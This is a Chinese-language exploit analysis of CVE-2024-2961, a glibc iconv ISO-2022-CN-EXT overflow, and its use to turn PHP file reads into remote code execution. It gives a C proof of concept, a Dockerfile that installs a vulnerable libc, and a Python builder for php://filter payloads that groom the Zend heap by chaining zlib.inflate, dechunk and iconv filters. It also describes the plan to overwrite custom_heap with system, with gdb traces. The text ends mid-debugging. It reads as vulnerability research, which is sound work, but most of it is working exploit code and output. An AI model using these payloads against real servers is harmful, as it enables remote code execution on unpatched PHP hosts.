1 ICONV漏洞详情
CVE-2024-2961本质上是GLIBC中iconv库的漏洞,我认为该漏洞的发现巧合性很大。该漏洞的发现者是通过fuzz php发现该漏洞的,如果单纯的fuzz iconv库是无法导致crash,就算是fuzz php,一般情况下就算触发了该漏洞也很难导致crash。
首先是漏洞点,位于glibc/iconvdata/iso-2022-cn-ext.c
文件,相关代码如下所示:
else
if
((used & SS2_mask) !=
0
&& (ann & SS2_ann) != (used <<
8
))
{
const
char
*escseq;
assert (used == CNS11643_2_set);
/* XXX */
escseq =
"*H"
;
*outptr++ = ESC;
*outptr++ =
'$'
;
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used <<
8
);
}
else
if
((used & SS3_mask) !=
0
&& (ann & SS3_ann) != (used <<
8
))
{
const
char
*escseq;
assert ((used >>
5
) >=
3
&& (used >>
5
) <=
7
);
escseq =
"+I+J+K+L+M"
+ ((used >>
5
) -
3
) *
2
;
*outptr++ = ESC;
*outptr++ =
'$'
;
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used <<
8
);
}
在上述代码的这两个分支中,输入会被转换为4字节的输出,且不会检查输出buf的长度。这可能产生6种输出:
x1b$*H 0x1b 0x24 0x2A 0x48
x1b$+I 0x1b 0x24 0x2b 0x49
x1b$+J 0x1b 0x24 0x2b 0x4a
x1b$+K 0x1b 0x24 0x2b 0x4b
x1b$+L 0x1b 0x24 0x2b 0x4c
x1b$+M 0x1b 0x24 0x2b 0x4d
再来看看PoC,代码如下所示:
/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
void
hexdump(
void
*ptr,
int
buflen)
{
unsigned
char
*buf = (
unsigned
char
*)ptr;
int
i, j;
for
(i =
0
; i < buflen; i +=
16
)
{
printf(
"%06x: "
, i);
for
(j =
0
; j <
16
; j++)
if
(i + j < buflen)
printf(
"%02x "
, buf[i + j]);
else
printf(
" "
);
printf(
" "
);
for
(j =
0
; j <
16
; j++)
if
(i + j < buflen)
printf(
"%c"
, isprint(buf[i + j]) ? buf[i + j] :
'.'
);
printf(
"n"
);
}
}
void
main()
{
iconv_t cd = iconv_open(
"ISO-2022-CN-EXT"
,
"UTF-8"
);
char
input[
0x10
] =
"AAAAA劄"
;
char
output[
0x10
] = {
0
};
char
*pinput = input;
char
*poutput = output;
// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf(
"Remaining bytes (should be > 0): %zdn"
, soutput);
hexdump(output,
0x10
);
}
编译上面的代码运行:
$ gcc poc.c -o poc
$ ./poc
./poc
Remaining bytes (should be >
0
): -
1
000000
:
41
41
41
41
41
1b
24
2a
48
00
00
00
00
00
00
00
AAAAA.
$*H
.......
我们使用python来看看PoC的特殊字符:
BUG =
"劄"
.encode()
print
(BUG)
# b'xe5x8ax84'
从上面的结果可以看出,这个特殊字符只占3字节,但是却会被转译为x1b$*H
四字节,产生了一字节的溢出,上面的PoC似乎还是不太好展示出该漏洞的影响情况,我们可以简单的改改代码,如下所示:
void
main()
{
iconv_t cd = iconv_open(
"ISO-2022-CN-EXT"
,
"UTF-8"
);
char
input[
0x3
] =
"劄"
;
char
output[
0x3
] = {
0
};
char
overflow[
0x5
] =
"AAAA"
;
char
*pinput = input;
char
*poutput = output;
// Same size for input and output buffer
size_t sinput =
3
;
size_t soutput =
3
;
size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf(
"Remaining bytes (should be > 0): %zdnstatus = %dn"
, soutput, status);
hexdump(output,
0x10
);
printf(
"overflow = %sn"
, overflow);
}
# 查看运行结果
$ gcc poc.c -o poc
$ ./poc
Remaining bytes (should be >
0
): -
1
status = -
1
000000
: 1b
24
2a
48
41
41
41
00
00
13
9e 1c e1 6c
44
86
.$*HAAA......lD.
overflow = HAAA
从上面的结果可以看出,我们成功的溢出了1字节到overflow
变量中。
2 PHP任意文件读到RCE
在了解完iconv漏洞原理之后,接下来再看看该漏洞的实际利用场景。目前已公开的漏洞利用场景只有一个,就是把PHP的任意文件读取漏洞转换为远程命令指令漏洞。
我们首先来看看以下PHP代码:
<?php
$data = file_get_contents($_POST[
'file'
]);
echo
"File contents: $data"
;
?>
CTF的web手应该都知道,我们可以构造PoC:php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx
。
这样我们就可以调用iconv_open("ISO-2022-CN-EXT", "UTF-8");
,接着控制iconv
函数的输入buffer,达到触发iconv漏洞的目的。
首先我们需要搭建一个测试环境,Dockerfile如下所示:
$ cat Dockerfile
FROM ubuntu:
22.04
RUN sed -i
's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g'
/etc/apt/sources.list
RUN sed -i
's/security.ubuntu.com/mirrors.ustc.edu.cn/g'
/etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# libc降级到有漏洞的版本
RUN apt install -y libc6-dev=
2.35
-0ubuntu3 libc-dev-bin=
2.35
-0ubuntu3 libc6=
2.35
-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh
CMD [
"start.sh"
]
$ cat index.php
<?php
$data
= file_get_contents(
$_POST
[
'file'
]);
echo
"File contents:
$data
"
;
?>
$ cat nginx.conf
server {
listen
80
default_server;
listen [::]:
80
default_server;
root /var/www/html;
index index.php;
server_name _;
location / {
try_files
$uri
$uri
/ /index.php?
$query_string
;
}
location ~ .php$ {
fastcgi_split_path_info ^(.+.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8
.1
-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name
;
fastcgi_param PATH_INFO
$fastcgi_path_info
;
}
}
$ cat start.sh
#!/bin/bash
/etc/init.d/php8
.1
-fpm start
nginx -g
'daemon off;'
环境搭建好以后,可以直接使用公开的PoC进行漏洞利用,能成功执行任意命令,该过程就不再赘述。
首先我们来看看公开的python PoC脚本,该PoC可以分为3个步骤。
-
首先,对目标是否能进行漏洞利用进行检测,该检测过程没法检测目标是否存在漏洞,只能检测目标是否存在进行漏洞利用的条件,有以下三个方面:
- 检测目标的任意文件读是否支持:
data:text/plain;base64,
。 - 检测目标的任意文件读是否支持:
php://filter//resource=data:text/plain;base64,
。 - 检测目标的任意文件读是否支持:
php://filter/zlib.inflate/resource=data:text/plain;base64,
。
-
通过
/proc/self/maps
获取目标的内存布局,获取目标libc文件。获取目标内存布局需要获取libc的基地址,PHP堆的基地址。libc的基地址很好获取,但是PHP堆的基地址就得猜测,没办法100%确定,PHP堆有以下条件:
- 大小在
0x200000
之上,并且为该大小的倍数,所以还需要0x200000对齐。 - 该内存段不属于任何二进制文件。
- 该内存段的权限为:
rw-p
-
构造Payload,发送Payload到目标进行漏洞利用。
接下来分析该PoC中是如何构造Payload以进行漏洞利用。
2.3.1 调试环境搭建
我们先来搭建一个漏洞调试环境,步骤如下:
# 安装apt-src
$ sudo apt install -y apt-src
$ sudo apt-src update
$ sudo apt-src install php8
.1
# 使用apt-src获取php源码后,会把源码解压到当前目录
$ ls -alF
drwxr-xr-x
26
ubuntu ubuntu
4096
May
29
07
:
11
php8
.1
-
8.1
.
2
/
# 编译源码
$ cd php8
.1
-
8.1
.
2
/ && dpkg-buildpackage
# 保证libc存在漏洞
$ sudo apt install -y libc6=
2.35
-0ubuntu3 libc6-dev=
2.35
-0ubuntu3 libc-dev-bin=
2.35
-0ubuntu3
# gdb调试命令
$ gdb ./php8
.1
-
8.1
.
2
/fpm-build/sapi/cli/php
$ cat .gdbinit
dir ./php8
.1
-
8.1
.
2
/
r poc.php
$ cat poc.php
$poc
=
"php://filter/read=......"
;
$data
= file_get_contents(
$poc
);
var_dump(
$data
);
2.3.2 利用分析
简单分析一下PoC可以得知,该漏洞利用的思路在CTF中算是简单题,程序复杂度上比CTF的难。
如果把这道题看成CTF,那么就是一个在已知内存地址,libc的情况下进行堆的漏洞利用。并且PHP的堆分配并不是直接使用libc的malloc,而且封装了自己的堆函数。
所以我们需要关注PHP的堆管理,首先需要关注_zend_mm_heap
结构体:
struct
_zend_mm_heap {
#if ZEND_MM_CUSTOM
int
use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size;
/* current memory usage */
size_t peak;
/* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS];
/* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
size_t real_size;
/* current size of allocated pages */
#endif
#if ZEND_MM_STAT
size_t real_peak;
/* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
size_t limit;
/* memory limit */
int
overflow;
/* memory overflow flag */
#endif
zend_mm_huge_list *huge_list;
/* list of huge allocated blocks */
zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks;
/* list of unused chunks */
int
chunks_count;
/* number of allocated chunks */
int
peak_chunks_count;
/* peak number of allocated chunks for current request */
int
cached_chunks_count;
/* number of cached chunks */
double
avg_chunks_count;
/* average number of chunks allocated per request */
int
last_chunks_delete_boundary;
/* number of chunks after last deletion */
int
last_chunks_delete_count;
/* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union
{
struct
{
void
*(*_malloc)(size_t);
void
(*_free)(
void
*);
void
*(*_realloc)(
void
*, size_t);
} std;
struct
{
void
*(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void
(*_free)(
void
* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void
*(*_realloc)(
void
*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
HashTable *tracked_allocs;
#endif
};
在该结构体中,我们需要关注free_slot
,这个结构体可以等同于最古老的tcache
,因为没有任何的检查,利用难度直线下降。
如果是在一个CTF题目中,我们可以用以下利用思路:
- 分配x个相同大小并且地址连续的堆,然后释放它们,那么它们会被放入tcache中形成链表。
- 我们获取第一个堆,并且通过漏洞溢出1字节,这样将会覆盖下一个堆的tcache链表指针。
- 因为溢出的一字节不可控,在此例中,为0x48,所以我们需要该地址的堆可以让我们任意地址写入。并且在之前控制该地址的值指向我们想要控制的任意地址,比如
free_hook
地址,这样我们之后分配的堆就能获取到free_hook
地址的堆,达到控制free_hook
的目的,从而RCE。
在构思完思路后,我们来具体模拟一下:
1. 有三个大小为0x100的连续的堆
0x40100, 0x40200, 0x40300
2. 控制0x40348地址的值为free_hook地址对齐后地址,或者其他想要任意写的任意地址。
3. 释放它们形成tcache链表
0x40100->0x40200->0x40300
4. 获取第一个堆:0x40100,这样tcache链表就变成了:
0x40200->0x40300
5. 触发漏洞,让0x40100的堆溢出一字节,这样tcache的链表就变成了:
0x40200->0x40348->free_hook
6. 再分配一个堆,tcache链表变成了:
0x40348->free_hook
7. 重复第6步,tcache链表变成了:
free_hook
8. 重复第6步,这次我们获取到的堆地址指向了free_hook,让我们可以把其覆盖为system地址
9. 调用free(buf), buf=/bin/sh,这样就能成功RCE
以上为CTF中的利用思路,但是CTF中PWN题目的程序复杂度比较低,考验的都是漏洞利用技巧,很少会考验逆向能力,所以可以很容易控制堆分配和堆释放。但是在实际利用中,程序的复杂度不是一个量级的。
在当前漏洞中,我们的测试环境中PHP只会调用file_get_contents
函数,我们也只能控制该函数的参数,并不能很明显的控制malloc/free
函数。因此,我们需要对file_get_contents
函数进行逆向分析,看看在PHP源码中,如何控制file_get_contents
函数调用堆分配/释放,并且获取我们需要大小的堆。
经过对公开的PoC进行调试,结合PHP的源码分析,可以得知以下几点:
zlib.inflate
的作用是进行zlib解压缩,将会调用PHP的php_zlib_inflate_filter
函数,并且在php_zlib_filter_create
函数中限制了能分配的最大堆尺寸为0x8000。dechunk
的作用是处理HTTP CHUNKED,将会调用PHP的php_chunked_filter
函数,我们可以通过该函数,buffer的size标志位缩减到任意值。没法控制堆的大小,只能控制有效长度的标志位。在file_get_contents
函数的流程中,用户输入的buffer都是放在php_stream_bucket
结构体中,该结构体的定义如下:
struct
_php_stream_bucket {
php_stream_bucket *next, *prev;
php_stream_bucket_brigade *brigade;
char
*buf;
size_t buflen;
/* if non-zero, buf should be pefreed when the bucket is destroyed */
uint8_t own_buf;
uint8_t is_persistent;
/* destroy this struct when refcount falls to zero */
int
refcount;
};
在该结构体中,buf指向一个堆缓冲区,比如指向一个大小为0x8000的堆,但是buflen
表示的是数据的有效长度,比如可以是0x8000,那么该堆中的数据都是有效的,通过dechunk
过滤器,我们可以缩减buflen
的长度为任意值,比如缩减到0x100,那么堆还是0x8000的堆,但是只有前0x100字节的数据是有效数据。
convert.quoted-printable-decode
的作用是对=00
格式的数据进行解码,变为x00
。convert.iconv.x.x
的作用调用iconv
函数对数据进行编码转换。在PoC中使用两种:convert.iconv.UTF-8.ISO-2022-CN-EXT
和convert.iconv.latin1.latin1
。
其中convert.iconv.UTF-8.ISO-2022-CN-EXT
很明显是用来触发漏洞的。但是convert.iconv.latin1.latin1
的作用需要仔细分析。
convert.iconv.x.x
过滤器调用的是php_iconv_stream_filter_do_filter
函数,进过分析发现,在该函数中输出的buffer会根据buflen
对堆进行重新分配。例如,输出的buffer是一个0x8000的堆,但是buflen=0x100
,那么就会根据该长度申请一个新的堆作为iconv
的输出。经过iconv
编码转换,由于输入输出的编码相同,所以输出数据不变,但堆的大小会发生变化。
通过上述分析可以发现,在PoC中组合使用dechunk
和convert.iconv.latin1.latin1
的原因是因为这样可以控制获取任意大小的堆。通过dechunk
将buflen
设置为0x8000
以下的任意值,然后使用convert.iconv.latin1.latin1
把堆修改为相应的size。除了可以分配任意size的堆,还可以把任意size的堆放入free_slot
中。
PoC中利用的目标为修改_zend_mm_heap
结构体中的custom_heap
结构,作用和free_hook
类似,因为在emalloc
中有以下代码:
ZEND_API
void
* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
// 如果设置了custom堆,则调用该函数,跟free_hook的作用一样
#if ZEND_MM_CUSTOM
if
(UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
return
_malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
#endif
return
zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
把custom_heap
结构体中的_free
设置为system
,那么调用efree
的时候就能执行system函数了。
2.3.3 漏洞调试
接下来,通过调试的方法来研究在PHP的实际环境中如何构造利用链。
建议在以下位置下断点调试,能比较清晰的看出堆的变化情况:
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff52a3000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
......
In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:575
570 flags = stream->eof ? PSFS_FLAG_FLUSH_CLOSE : PSFS_FLAG_FLUSH_INC;
571 }
572
573 /* wind the handle... */
574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
? 575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
我们可以直接把这个断点加入到gdbinit
中:
$ cat .gdbinit
dir ./php8
.1
-
8.1
.
2
/
b *(_php_stream_fill_read_buffer+
309
)
r poc.php
由于我们使用gdb调试,而gdb默认会关闭地址随机化,因此我们可以在gdbinit
中定义一个指令方便我们查看PHP的堆信息。此外,还可以再添加一个指令,方便查看pbucket的情况,最终的gdbinit
内容如下所示:
$ cat .gdbinit
define php_heap
p *(struct _zend_mm_heap *)
0x7ffff5200040
end
define pbucket
p *(php_stream_bucket *)
$arg0
end
define pbucketall
pbucket
$arg0
set
$bucket
= (php_stream_bucket*)
$arg0
if
$bucket-
>next !=
0
pbucketall
$bucket-
>next
end
end
dir ./php8
.1
-
8.1
.
2
/
b *(_php_stream_fill_read_buffer+
309
)
r poc.php
接下来还需要编写一个python脚本,以便控制和生成payload。如下所示,有些函数直接参考了公开的PoC:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
import
zlib
import
base64
def
p64(data: int) -> bytes:
return
int.to_bytes(data,
8
,
"little"
)
# 该函数对数据进行zlib压缩,让php的zlib.inflate进行解压缩
def
compress(data) -> bytes:
""
"Returns data suitable
for
`zlib.inflate`.
""
"
# Remove 2-byte header and 4-byte checksum
return
zlib.compress(data,
9
)[
2
:-
4
]
# 对数据纪念下quoted printable编码,php解码使用的是convert.quoted-printable-decode
def
qpe(data: bytes) -> bytes:
""
"Emulates quoted-printable-encode.
""
"
return
""
.join(
f
"={x:02x}"
for
x
in
data).upper().encode()
# 最终填充到0x8000长度的数据
def
compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return
chunked_chunk(data,
0x8000
)
# 进行HTTP CHUNKED编码,php使用dechunk
def
chunked_chunk(data: bytes, size: int = None) -> bytes:
""
"Constructs
a
chunked representation of the given chunk. If size
is
given, the
chunked representation has size `size`.
For instance, `ABCD`
with
size
10
becomes: `
0004
nABCDn`.
""
"
# The caller does not care about the size: let's just add 8, which is more than
# enough
if
size
is
None:
size = len(data) +
8
keep = len(data) + len(
b
"nn"
)
size =
f
"{len(data):x}"
.rjust(size - keep,
"0"
)
return
size.encode() +
b
"n"
+ data +
b
"n"
# 做了点修改,把chunk函数删除了,因为payload的构造不一样,所以使用chunk函数会有不同
def
ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if
size
is
not None:
assert
len(ptrs) *
8
== size
bucket =
b
""
.join(map(p64, ptrs))
bucket = qpe(bucket)
return
bucket
def
buildPayload() -> str:
payload =
b
""
pages = (
payload
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource =
f
"data:text/plain;base64,{resource.decode()}"
filters = [
"zlib.inflate"
,
]
filters =
"|"
.join(filters)
path =
f
"php://filter/read={filters}/resource={resource}"
return
path
def
main():
path = buildPayload()
phpCode =
f
""
"<?php
$poc =
"{path}"
;
$data = file_get_contents($poc);
var_dump($data);
?>
""
"
with
open(
"poc.php"
,
"w"
)
as
f
:
f
.write(phpCode)
print
(path)
if
__name__ ==
"__main__"
:
main()
以上就是我通过公开的PoC修改的一版调试用的python脚本,我们只需关注该脚本中的buildPayload
函数。调试命令也很简单:python3 poc.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
。
接下来我们将探讨如何将这一问题与CTF的思路联系起来。在CTF中,常能够轻松利用的原因是我们可以相对容易地控制堆的分配和释放。因此,现在我们需要研究如何在php中实现对堆的分配和释放的控制。
和公开的PoC一样,我们选择控制长度为0x100的堆(这个长度的堆比较好对齐)。
在此之前,我们还需要知道在PHP堆的free_slot
中,堆的尺寸是如何分布的,可以参见zend_alloc_sizes.h
文件,如下所示:
/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y)
_(
0
,
8
,
512
,
1
, x, y)
_(
1
,
16
,
256
,
1
, x, y)
_(
2
,
24
,
170
,
1
, x, y)
_(
3
,
32
,
128
,
1
, x, y)
_(
4
,
40
,
102
,
1
, x, y)
_(
5
,
48
,
85
,
1
, x, y)
_(
6
,
56
,
73
,
1
, x, y)
_(
7
,
64
,
64
,
1
, x, y)
_(
8
,
80
,
51
,
1
, x, y)
_(
9
,
96
,
42
,
1
, x, y)
_(
10
,
112
,
36
,
1
, x, y)
_(
11
,
128
,
32
,
1
, x, y)
_(
12
,
160
,
25
,
1
, x, y)
_(
13
,
192
,
21
,
1
, x, y)
_(
14
,
224
,
18
,
1
, x, y)
_(
15
,
256
,
16
,
1
, x, y)
_(
16
,
320
,
64
,
5
, x, y)
_(
17
,
384
,
32
,
3
, x, y)
_(
18
,
448
,
9
,
1
, x, y)
_(
19
,
512
,
8
,
1
, x, y)
_(
20
,
640
,
32
,
5
, x, y)
_(
21
,
768
,
16
,
3
, x, y)
_(
22
,
896
,
9
,
2
, x, y)
_(
23
,
1024
,
8
,
2
, x, y)
_(
24
,
1280
,
16
,
5
, x, y)
_(
25
,
1536
,
8
,
3
, x, y)
_(
26
,
1792
,
16
,
7
, x, y)
_(
27
,
2048
,
8
,
4
, x, y)
_(
28
,
2560
,
8
,
5
, x, y)
_(
29
,
3072
,
4
,
3
, x, y)
所以我们要查看0x100大小的堆在free_slot
中的情况,可以使用以下命令:
pwndbg> php_heap
$1 = {
use_custom_heap = 0,
storage = 0x0,
size = 493544,
peak = 493544,
free_slot = ......
pwndbg> p $1.free_slot[15]
$2 = (zend_mm_free_slot *) 0x7ffff5288100
2.3.3.1 获取一个0x100大小的堆
要让PHP分配一个0x100大小的堆,buildPayload
函数的编写可以参见以下代码:
def
buildPayload() -> str:
heapSize =
0x100
step1 =
b
"A"
* heapSize
step1 = compressed_bucket(step1)
pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource =
f
"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate"
,
# 让php分配0x100大小的堆
"dechunk"
,
"convert.iconv.latin1.latin1"
]
filters =
"|"
.join(filters)
path =
f
"php://filter/read={filters}/resource={resource}"
return
path
通过调试查看堆分配情况,过程如下所示:
第一次断点断在php_zlib_inflate_filter
函数,该函数将会对输入的数据进行zlib解压缩,gdb情况如下所示。
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff5283000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
第二次在php_chunked_filter
函数处设置断点,查看输入的bucket
结构,里面的内容为输入的0x8000长度的数据,gdb详情如下所示:
pwndbg> c
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_chunked_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff5283050 —? 0x555555a6db00 (chunked_filter_ops) —? 0x5555557bcdc0 (php_chunked_filter) ?— endbr64
rdx: 0x7fffffffa7b0 —? 0x7ffff5262180 ?— 0x0
pwndbg> pbucket 0x7ffff5262180
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff52a3000 '0' <repeats 200 times>...,
buflen = 32768,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
第三次断点设置在了php_iconv_stream_filter_do_filter
函数处,查看bucket
内容,发现buf的堆地址没变,只有buflen
被修改为了0x100,gdb详情如下所示:
pwndbg> c
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_iconv_stream_filter_do_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff52830a0 —? 0x7ffff493e430 (php_iconv_stream_filter_ops) —? 0x7ffff4937d60 (php_iconv_stream_filter_do_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
pwndbg> pbucket 0x7ffff5262180
$2 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff52a3000 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
在最后一步,无法再继续执行continue
命令,因为程序会运行结束。此时,我们需要使用next指令观察执行完php_iconv_stream_filter_do_filter
函数后bucket的情况,gdb过程如下所示:
pwndbg> ni
......
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff5288100 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
pwndbg> php_heap
$2 = {
......
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200
从上述过程可以看出,我们成功地申请到了一个大小为0x100的堆。
2.3.3.2 释放一个长度为0x100大小的堆
buildPayload
函数的编写可以参考以下代码:
def
buildPayload() -> str:
heapSize =
0x100
step1 =
b
"A"
*
0x10
step1 = chunked_chunk(step1, heapSize)
step1 = compressed_bucket(step1)
pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource =
f
"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate"
,
# 让php分配0x100大小的堆
"dechunk"
,
"convert.iconv.latin1.latin1"
,
# 释放0x100大小的堆
"dechunk"
,
"convert.iconv.latin1.latin1"
]
filters =
"|"
.join(filters)
path =
f
"php://filter/read={filters}/resource={resource}"
return
path
前面四步和上面一样,我们从第二个dechunk
执行完开始,gdb过程如下所示:
pwndbg> p *brig_inp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff5288100 'A' <repeats 16 times>, '0' <repeats 184 times>...,
buflen = 16,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200
在第二个dechunk
执行完毕后,buf仍然是长度为0x100的堆,但buflen
被修改为了0x10。接着我们把程序停在执行完php_iconv_stream_filter_do_filter
函数之后,再查看堆信息,gdb过程如下所示:
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff527e060 'A' <repeats 16 times>, "200340'365377177",
buflen = 16,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288100
从上面的结果可以看出,大小为0x100的堆(0x7ffff5288100
)已经被释放并且被放入free_slot
当中。
2.3.3.3 触发漏洞
完成了上面两步的调试过程,我们已经可以像做一道CTF的堆题一样,随意的控制malloc
和free
。
现在我们来尝试按照上面分析CTF题的步骤来构造触发漏洞的利用链。
经过一番调试分析,我构造的利用链步骤如下:
- 最开始0x100大小的堆的free链表为:
0x7ffff5288100->0x200->0x300->0x400->0x500...
。 - 申请三个堆后,free链表为:
0x7ffff5288400->0x500->0x600...
。 - 把这三个堆释放后,free链表为:
0x7ffff5288300->0x200->0x100->0x400...
。 - 再次申请两个堆,地址为
0x7ffff5288300
,0x7ffff5288200
。 - 把这两个堆释放,这个时候free链表为:
0x7ffff5288200->0x300->0x100->0x400...
- 触发漏洞,这个时候
0x7ffff5288200
会被用来存放iconv
的结果,所以能溢出1字节覆盖到了0x7ffff5288300
地址的第一字节,这个时候free链表变为了:0x7ffff5288300->0x148->...
。 - 由于触发漏洞时,iconv返回-1,所以
0x7ffff5288200
堆在溢出后会被释放,这个时候free
链表为:0x7ffff5288200->0x300->0x148...
。
根据上面的步骤,来编写buildPayload
函数,代码如下所示:
def
buildPayload() -> str:
''
'
我们把一次处理dechunk + convert.iconv.的过程算一步
''
'
heapSize =
0x100
BUG =
"劄"
.encode(
"utf-8"
)
# 第一步申请0x100的堆,第二步释放
step1_malloc_step2_free =
b
"A"
*
0x10
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)
# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free =
b
"B"
*
0x20
# 第三次dechunk,长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)
# 第三步触发bug
step3_trigger_bug = (
0x100
- len(BUG)) *
b
"x00"
+ BUG
# 确保长度为0x100
assert
len(step3_trigger_bug) ==
0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)
pages = (
step1_malloc_step2_free *
3
+
step2_malloc_step3_free *
2
+
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource =
f
"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate"
,
# 第一步
"dechunk"
,
"convert.iconv.latin1.latin1"
,
# 第二步
"dechunk"
,
"convert.iconv.latin1.latin1"
,
# 第三步触发漏洞
"dechunk"
,
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
]
filters =
"|"
.join(filters)
path =
f
"php://filter/read={filters}/resource={resource}"
return
path
接着使用gdb调试查看堆布局,如下所示:
$ python3 poc1.py && gdb ./php8
.1
-
8.1
.
2
/fpm-build/sapi/cli/php
# 最终断点停在执行完处理convert.iconv.UTF-8.ISO-2022-CN-EXT的函数
